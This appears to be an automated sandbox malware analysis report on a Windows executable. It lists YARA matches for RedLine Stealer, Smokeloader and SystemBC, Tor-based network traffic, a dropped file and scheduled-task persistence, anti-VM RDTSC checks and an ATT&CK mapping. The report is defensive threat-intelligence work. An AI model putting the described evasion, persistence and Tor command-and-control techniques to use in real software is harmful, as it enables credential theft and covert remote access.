Source: global traffic	HTTP traffic detected: GET /tor/server/fp/cf1c1804c33cd69d8a75587fabc63d5d0e2980fa HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/cf230d27a28172429123dfee6476d9401e6c6fa8 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/c84f248d3b24655cc96e17b3cf41e0b88d28947e HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/c86c538ef0a24e010342f30dbcacc2a7eb7ca833 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1 HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/server/fp/c873d9d8df3cb6a4f92b07a77193f1a13936477f HTTP/1.0Host: 178.79.182.63User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close
Source: global traffic	HTTP traffic detected: GET /tor/status-vote/current/consensus HTTP/1.0Host: 131.188.40.189User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Connection: close

Source: unknown	HTTPS traffic detected: 173.231.16.76:443 -> 192.168.2.4:49697 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 190.120.229.196:443 -> 192.168.2.4:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 91.208.197.31:443 -> 192.168.2.4:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.170.197.121:443 -> 192.168.2.4:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.82.126.83:443 -> 192.168.2.4:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.237.62.211:443 -> 192.168.2.4:49721 version: TLS 1.2

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00403E6B CryptImportKey,CryptExportKey,CryptDestroyKey,

0_2_00403E6B

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.306345047.00000000035B2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000002.567124070.000000000362E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000001.00000002.567016647.0000000003580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Source: R53a3ZJHBQ.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.306345047.00000000035B2000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000001.00000002.567124070.000000000362E000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000001.00000002.567016647.0000000003580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

File created: C:\Windows\Tasks\kdnku.job

Jump to behavior

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: String function: 0040694A appears 32 times
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: String function: 00406A3A appears 32 times

Source: R53a3ZJHBQ.exe	ReversingLabs: Detection: 87%
Source: R53a3ZJHBQ.exe	Virustotal: Detection: 77%

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

File read: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Jump to behavior

Source: R53a3ZJHBQ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\R53a3ZJHBQ.exe C:\Users\user\Desktop\R53a3ZJHBQ.exe
Source: unknown	Process created: C:\ProgramData\micl\kdnku.exe C:\ProgramData\micl\kdnku.exe start

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/3@6/14

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00405662 CoInitialize,CoCreateInstance,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

0_2_00405662

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00405A52 CreateToolhelp32Snapshot,Process32First,CloseHandle,FindCloseChangeNotification,

0_2_00405A52

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Mutant created: \Sessions\1\BaseNamedObjects\kdnku
Source: C:\ProgramData\micl\kdnku.exe	Mutant created: \BaseNamedObjects\kdnku

Source: R53a3ZJHBQ.exe

String found in binary or memory: ip-address

Source: C:\ProgramData\micl\kdnku.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\micl\kdnku.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\micl\kdnku.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\micl\kdnku.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Unpacked PE file: 0.2.R53a3ZJHBQ.exe.400000.0.unpack
Source: C:\ProgramData\micl\kdnku.exe	Unpacked PE file: 1.2.kdnku.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Unpacked PE file: 0.2.R53a3ZJHBQ.exe.400000.0.unpack .text:ER;.data:W;.pavel:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\ProgramData\micl\kdnku.exe	Unpacked PE file: 1.2.kdnku.exe.400000.0.unpack .text:ER;.data:W;.pavel:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_004147F4 push eax; ret	0_2_0041480E
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_004147F4 push eax; ret	1_2_0041480E
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_03633D43 push eax; retf	1_2_03633D4B
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_036307CF push esi; ret	1_2_036307E2
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_0362E273 push edx; iretd	1_2_0362E27D
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_03630AF4 push eax; ret	1_2_03630B46
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_03633CCE push ebp; iretd	1_2_03633CCF
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_036304A5 push ebx; ret	1_2_036304A6
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_03630292 pushad ; ret	1_2_03630294

Source: R53a3ZJHBQ.exe	Static PE information: section name: .pavel
Source: kdnku.exe.0.dr	Static PE information: section name: .pavel

Source: initial sample	Static PE information: section name: .text entropy: 7.073910947519333
Source: initial sample	Static PE information: section name: .text entropy: 7.073910947519333

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

File created: C:\ProgramData\micl\kdnku.exe

Jump to dropped file

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

File created: C:\ProgramData\micl\kdnku.exe

Jump to dropped file

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

File created: C:\Windows\Tasks\kdnku.job

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 9030
Source: unknown	Network traffic detected: HTTP traffic on port 9030 -> 49718

May use the Tor software to hide its network traffic

Source: R53a3ZJHBQ.exe, R53a3ZJHBQ.exe, 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, R53a3ZJHBQ.exe, 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: onion-port

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep			graph_0-7868
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess			graph_0-8807

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

RDTSC instruction interceptor: First address: 0000000000406862 second address: 0000000000406862 instructions: 0x00000000 rdtsc 0x00000002 push ebp 0x00000003 mov ebp, esp 0x00000005 push ebx 0x00000006 push ecx 0x00000007 push edx 0x00000008 push edi 0x00000009 push esi 0x0000000a imul eax, eax, 001E7319h 0x00000010 add eax, 3CFB5543h 0x00000015 rcr eax, 10h 0x00000018 add eax, ecx 0x0000001a test edx, edx 0x0000001c je 00007F8450670FC5h 0x0000001e imul eax, edx 0x00000021 xor edx, edx 0x00000023 mul dword ptr [ebp+08h] 0x00000026 mov eax, edx 0x00000028 pop esi 0x00000029 pop edi 0x0000002a pop edx 0x0000002b pop ecx 0x0000002c pop ebx 0x0000002d leave 0x0000002e retn 0004h 0x00000031 lea ebx, dword ptr [eax+04h] 0x00000034 push 00000018h 0x00000036 call 00007F845067674Ah 0x0000003b rdtsc

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_0-8150

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe TID: 724

Thread sleep time: -60000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep

graph_0-8390

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00406862 rdtsc

0_2_00406862

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-7885

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	API call chain: ExitProcess graph end node			graph_0-8891
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	API call chain: ExitProcess graph end node			graph_0-8813

Source: kdnku.exe, 00000001.00000003.357716877.0000000004C60000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.357387824.00000000049E0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.354101353.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.356466957.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, kdnku.exe, 00000001.00000003.489998006.0000000004770000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: r slashcrypto 13fTH5UIHQ9yI6rV+KdJd9UkFF0 k7sApyWafp7DZ1y2grhgfspfJwM 2023-04-02 03:46:18 85.235.66.146 993 587

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00406862 rdtsc

0_2_00406862

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_0040694A mov eax, dword ptr fs:[00000030h]	0_2_0040694A
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_033F092B mov eax, dword ptr fs:[00000030h]	0_2_033F092B
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_033F6B9A mov eax, dword ptr fs:[00000030h]	0_2_033F6B9A
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_033F0D90 mov eax, dword ptr fs:[00000030h]	0_2_033F0D90
Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe	Code function: 0_2_033F1250 mov eax, dword ptr fs:[00000030h]	0_2_033F1250
Source: C:\ProgramData\micl\kdnku.exe	Code function: 1_2_0362E94B push dword ptr fs:[00000030h]	1_2_0362E94B

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00401000 EntryPoint,CreateThread,GetModuleFileNameA,ShellExecuteA,OpenMutexA,CreateMutexA,EnumWindows,Sleep,GetModuleFileNameA,CopyFileA,Sleep,ExitProcess,

0_2_00401000

Source: C:\ProgramData\micl\kdnku.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\ProgramData\micl\kdnku.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00405662 CoInitialize,CoCreateInstance,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

0_2_00405662

Source: C:\Users\user\Desktop\R53a3ZJHBQ.exe

Code function: 0_2_00405662 CoInitialize,CoCreateInstance,GetUserNameExW,GetLocalTime,SystemTimeToFileTime,FileTimeToSystemTime,CoUninitialize,

0_2_00405662

Binary or memory string: a2guard.exe

Stealing of Sensitive Information

Yara detected SystemBC

Source: Yara match	File source: 1.2.kdnku.exe.3580e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.R53a3ZJHBQ.exe.3410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R53a3ZJHBQ.exe.33f0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.kdnku.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.kdnku.exe.3590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R53a3ZJHBQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R53a3ZJHBQ.exe.33f0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R53a3ZJHBQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.kdnku.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.kdnku.exe.3590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.kdnku.exe.3580e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.R53a3ZJHBQ.exe.3410000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.567016647.0000000003580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.566647965.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.308524490.0000000003590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: R53a3ZJHBQ.exe PID: 3736, type: MEMORYSTR

Remote Access Functionality

Yara detected SystemBC

Source: Yara match	File source: 1.2.kdnku.exe.3580e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.R53a3ZJHBQ.exe.3410000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R53a3ZJHBQ.exe.33f0e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.kdnku.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.kdnku.exe.3590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R53a3ZJHBQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R53a3ZJHBQ.exe.33f0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.R53a3ZJHBQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.kdnku.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.kdnku.exe.3590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.kdnku.exe.3580e50.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.R53a3ZJHBQ.exe.3410000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.303984994.0000000003410000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.306263529.00000000033F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.567016647.0000000003580000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.566647965.0000000000400000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.305860156.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.308524490.0000000003590000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: R53a3ZJHBQ.exe PID: 3736, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	12 Native API	1 Scheduled Task/Job	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	2 Archive Collected Data	Exfiltration Over Other Network Medium	2 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 Data Encrypted for Impact
Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Process Injection	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Scheduled Task/Job	22 Software Packing	Security Account Manager	112 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Masquerading	NTDS	221 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Multi-hop Proxy	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Virtualization/Sandbox Evasion	LSA Secrets	11 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	2 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Process Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	113 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	1 Proxy	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
R53a3ZJHBQ.exe	88%	ReversingLabs	Win32.Trojan.Variadic
R53a3ZJHBQ.exe	77%	Virustotal		Browse
R53a3ZJHBQ.exe	100%	Avira	HEUR/AGEN.1224171
R53a3ZJHBQ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\micl\kdnku.exe	100%	Avira	HEUR/AGEN.1224171
C:\ProgramData\micl\kdnku.exe	100%	Joe Sandbox ML
C:\ProgramData\micl\kdnku.exe	81%	ReversingLabs	Win32.Trojan.Variadic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
1.2.kdnku.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
0.2.R53a3ZJHBQ.exe.33f0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
0.0.R53a3ZJHBQ.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1224171	Download File
0.2.R53a3ZJHBQ.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
0.3.R53a3ZJHBQ.exe.3410000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.0.kdnku.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1224171	Download File
1.3.kdnku.exe.3590000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
1.2.kdnku.exe.3580e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
gamelom20.com	2%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://ip4.seeip.org/	0%	URL Reputation	safe
http://178.79.182.63/tor/server/fp/c86c538ef0a24e010342f30dbcacc2a7eb7ca833	0%	Avira URL Cloud	safe
http://178.79.182.63/tor/server/fp/cf1c1804c33cd69d8a75587fabc63d5d0e2980fa	0%	Avira URL Cloud	safe
89.203.249.203	0%	Avira URL Cloud	safe
http://178.79.182.63/tor/server/fp/4d3a3e3f98ceaef2e25a957574190c1ea6a7f7d1	0%	Avira URL Cloud	safe
https://386bsd.net	0%	Avira URL Cloud	safe
https://171.25.193.9/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
https://171.25.193.9/tor/status-vote/current/consensus	10%	Virustotal		Browse
http://193.23.244.244/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://178.79.182.63/tor/server/fp/cf1280a23969a8459625e80ed50cc2c0885ecd72	0%	Avira URL Cloud	safe
http://178.79.182.63/tor/server/fp/cf230d27a28172429123dfee6476d9401e6c6fa8	0%	Avira URL Cloud	safe
http://131.188.40.189/tor/status-vote/current/consensus	100%	Avira URL Cloud	malware
http://178.79.182.63/tor/server/fp/99d65135d343eb8549b2d46c4ef8ca71c6c91add	0%	Avira URL Cloud	safe
http://178.79.182.63/tor/server/fp/c873d9d8df3cb6a4f92b07a77193f1a13936477f	0%	Avira URL Cloud	safe
http://178.79.182.63/tor/server/fp/c84f248d3b24655cc96e17b3cf41e0b88d28947e	0%	Avira URL Cloud	safe
